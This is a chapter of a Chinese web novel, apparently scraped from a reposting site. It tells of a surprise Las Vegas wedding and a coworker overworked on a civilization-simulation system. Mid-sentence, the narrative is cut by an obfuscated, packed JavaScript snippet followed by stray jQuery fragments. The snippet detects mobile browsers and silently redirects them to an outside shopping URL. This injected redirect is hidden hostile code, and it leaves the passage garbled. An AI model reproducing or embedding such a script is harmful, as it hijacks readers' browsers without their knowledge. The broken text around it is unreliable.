189. 新的旅程

作品:《物流机器人不可能这么可爱

    “言归正传,”陆斯年决定不跟她计较年龄问题(毕竟也争不过,人家呆梅梅的确青春无敌),他恢复了一本正经的表情,开始阐述他的“理性分析”。


    “我以前一直认为,婚姻是一种应该被淘汰的社会制度。它的本质无非是财产整合或分割的契约。而我,”陆斯年语气笃定,“绝不会和任何人分割我的财产。”


    呆梅梅听得一愣一愣的,觉得这话题走向有点严肃。


    “不过……”


    陆斯年话锋一转,手指轻轻点了点她的额头,眼神里带着纵容:“考虑到你这个小脑瓜里装的都是些浪漫主义泡沫,估计不能接受我们一直保持现在这种关系。”


    他顿了顿,摆出个“我做了个重大妥协”的戏谑表情,“所以,我们要不……先结个婚?算是满足你对形式感的需求?”


    陆斯年自以为提出了一个非常合理且为对方着想的方案。


    结果呆梅梅把脑袋摇得像拨浪鼓,拒绝得干脆利落:“啊?我不要。”


    陆斯年再次被噎住,俊脸上出现了一丝难得的扭曲。


    “……你至少先考虑一下?拒绝得这么干脆?”


    “不要不要!”


    呆梅梅搂着他的脖子,理直气壮地道。


    “我还想再多谈一会儿恋爱呢!结婚听起来就好麻烦,而且……而且……”


    她小声嘀咕:“你都说是分财产的了,一点意思都没有。”


    本来她还觉得穿个婚纱在教堂举办仪式很好玩的,都怪老板!


    陆斯年看着呆梅梅撅着嘴的样子,也明白她想要的婚姻肯定不是他理解的那种冷冰冰的契约。


    他叹了口气,妥协道:“……也行。那就再谈一会儿恋爱。”


    反正人在他怀里,跑是跑不掉的。


    看着呆梅梅对“结婚”二字那副敬谢不敏,只想安心谈恋爱的小模样,陆斯年心底那点因被拒绝而产生的微妙挫败感,也化为了无奈的纵容。


    反正只要她开心,她想什么时候结,都可以。


    他有的是时间和耐心,等她心甘情愿地点头。


    不过,经此一役,陆斯年倒是当真开始重新思考起婚姻的意义。


    除了他认知里那套冷冰冰的财产契约外,这个制度对他家这个满脑子浪漫幻想的小傻瓜来说,到底还有什么能真正戳中她心窝的意义?


    是盛大仪式带来的安全感?


    还是某种社会认同的归属感?


    这个课题……值得好好研究一下。


    当然,研究归研究,眼前的计划更重要——送他的小傻瓜去留学深造。


    秦屿和伊芙琳自然是对这个计划举双手赞成,甚至表示要“组团”回家。


    实则是不想错过这俩人的热闹。


    陆斯年对此不置可否,行动却快得惊人。


    他干脆利落地推动熵减科技与呆梅梅心仪的那所A国顶尖大学达成了一个深度研究项目。作为项目的主要负责人及捐赠方代表,他本人也顺理成章地获得了该校客座教授的聘书。


    于是,在A国的日子里,呆梅梅的学业进展异常顺利。


    有陆斯年这个“陪读家属”兼私人教授在,她本身又带着AI加持的超强学习能力,简直如鱼得水,很快就在新环境里找到了节奏,小脸上总是洋溢着求知的快乐和满足。


    陆斯年将她的变化看在眼里,觉得时机似乎渐渐成熟了。


    某个看似平常的周末,他终于将精心策划已久的计划付诸行动。


    陆斯年状似随意地揽住正在啃书的女朋友,语气轻松地说:“别看了,带你去个好玩的地方放松一下。”


    呆梅梅不疑有他,还以为是什么有趣的短途旅行,高高兴兴地就被他拐上了车,完全不知道,自己即将踏入一个“甜蜜的陷阱”。


    车子一路疾驰,离开了他们熟悉的城市。


    呆梅梅手里还举着一个快吃完的彩虹冰淇淋,舔得正欢,完全没意识到陆大老板的“险恶”用心。她以为只是普通的短途旅行,还在兴奋地张望窗外的沙漠风光。


    当车子最终停在拉斯维加斯那条闻名世界的Strip大道上,看到周围光怪陆离的霓虹灯,还有那比赌场还显眼的结婚礼堂招牌时,呆梅梅还傻乎乎地感叹:“哇,这里好热闹哦!”


    陆斯年嘴角噙着一丝不易察觉的笑意,牵着她,径直走向一家看起来十分梦幻的白色小教堂。“进去看看?”


    他语气自然得像是在邀请她参观景点。


    呆梅梅不疑有他,舀着冰淇淋就跟了进去。


    里面布置得温馨又庄重,穿着礼服的工作人员笑容可掬。


    直到牧师站到他们面前,用充满祝福的语气开始念诵誓言,陆斯年变魔术般掏出戒指,深情款款地看着她时……


    呆梅梅才猛地反应过来,眼睛瞪得溜圆,嘴里的冰淇淋勺“哐当”一声掉在地上:“等、等等!陆斯年!这、这是……结婚?!”


    “不然呢?”陆斯年挑眉,动作流畅地握住她的手,戒指已经套了上去一半,“来都来了。”


    “可是我还没答应……!”


    呆梅梅试图挣扎,但看着陆斯年那双深邃得仿佛能把人吸进去的眼睛,还有周围工作人员“Oh,howsweet!”的感叹,她的大脑一片混乱,稀里糊涂地就在牧师que“Youmaynowkissthebride”流程时,被陆斯年结结实实地吻住了。


    于是,呆梅梅女士,在24岁这年,于A国LV,手持半融化冰淇淋,完成了她(第一次)的婚姻登记。


    当晚,他们所在的城市中,所有的商用电子屏上,原本轮播的广告突然被替换,巨大的中文“陆槑槑,我爱你”以各种字体、各种语言版本疯狂刷屏,引得路人纷纷驻足拍照。


    呆梅梅看着这土豪式的告白,脸颊通红,扯了扯陆斯年的袖子。


    “老板……你这……是不是有点像病毒广告啊?”


    陆斯年搂着她的腰,满意地看着自己的“杰作”,语气狂妄又理所当然。


    “病毒就病毒。反正效果好就行。”


    他低头,在她耳边道:“这才只是一个开始。全球有将近200个国家承认婚姻关系吧,咱们就一个个结过去,集齐所有版本的结婚证,怎么样?”


    呆梅梅:“……”


    她看着身边这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324414|184178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    似乎想把结婚变成全球集邮活动的男人,终于彻底放弃思考,把脸埋进他怀里,闷闷的声音带着认命和一丝藏不住的甜蜜:“……随你便吧,坏人。”


    反正,这辈子是逃不出这个“坏人”的手掌心了。


    另一方面,秦屿的生活却没有那么美妙。


    熵减在A国有分部。


    作为核心员工,他也顺利获得了免费住房。


    但是!


    这一切都是有代价的!


    房子的灯光永远亮得像个永不天明的白昼。


    秦屿盯着屏幕上密密麻麻的代码和三维动态模型,感觉自己的眼球正在经历第四次工业革命。


    咖啡杯在他右手边排成一排,从满到空,从热到凉,像是某种现代艺术装置,主题叫《打工人的生命倒计时》。


    “能源节点又崩了……文明演化参数溢出……多文明动态系统……”秦屿喃喃自语,手指在键盘上机械地敲击,眼神已经开始涣散,“老板这个planB到底B了多少次迭代啊……”


    自从小呆回到梅吟雪的身体内,陆斯年那个压箱底的“多文明动态演化系统”就被紧急启用了。理论上,这是一个能够模拟不同文明在资源、科技、文化等多维度互动下演化路径的超级复杂系统。实际上,它是秦屿睡眠时间的合法谋杀者。


    他已经连续加班七十二小时了——好吧,夸张了,但感觉上是的。


    而伊芙琳也有自己的paper要肝,所以不能来这和他上演难兄难弟一家亲的戏剧名场面。


    如今,秦屿堪称是“独倚熏笼坐到明”的孤家寡人。


    工资条确实很丰厚,丰厚到秦屿每次看到都不敢相信自己这么值钱。但此刻,面对第无数次报错的界面,他还是忍不住发出一声哀嚎——


    “老板!我真的会谢!这玩意儿它不是人干的活啊!”


    话音刚落,桌后的平板便弹出一个界面,传来一道平静的声音。


    “那就换个思路。”


    秦屿浑身一僵,脖子像生锈的齿轮一样咔咔转过去。


    平板里,陆斯年手里拿着一杯同样凉透的咖啡,目光落在一份报告上,表情淡淡的,看不出情绪。


    “你新提交的报告……”


    他欲言又止。


    余威满满。


    “老、老板!”秦屿差点从椅子上弹起来。“我不是在抱怨!我是说——这个系统它很有挑战性!对!挑战性!”


    求生欲驱使他连珠炮似的辩解。


    陆斯年没接他这个话茬,只是抬了抬下巴。


    “能源模块卡住了?”


    “啊……对。”秦屿老实了,“各种能量形式的转化和制约关系太复杂了,我试了几十种参数组合,总是崩。咱自己的理论框架太新了,缺少成熟的参照系……”


    陆斯年沉默了两秒,道:“去玩《银河世界》。”


    秦屿:“……哈?”


    “陆予彻那个游戏,《银河世界》。”


    陆斯年语气平淡,“它的能源系统设计,有参考价值。各种能量形式的转化和制约,做得还算像回事。虽然为了游戏性夸张了,但底层逻辑有可取之处。”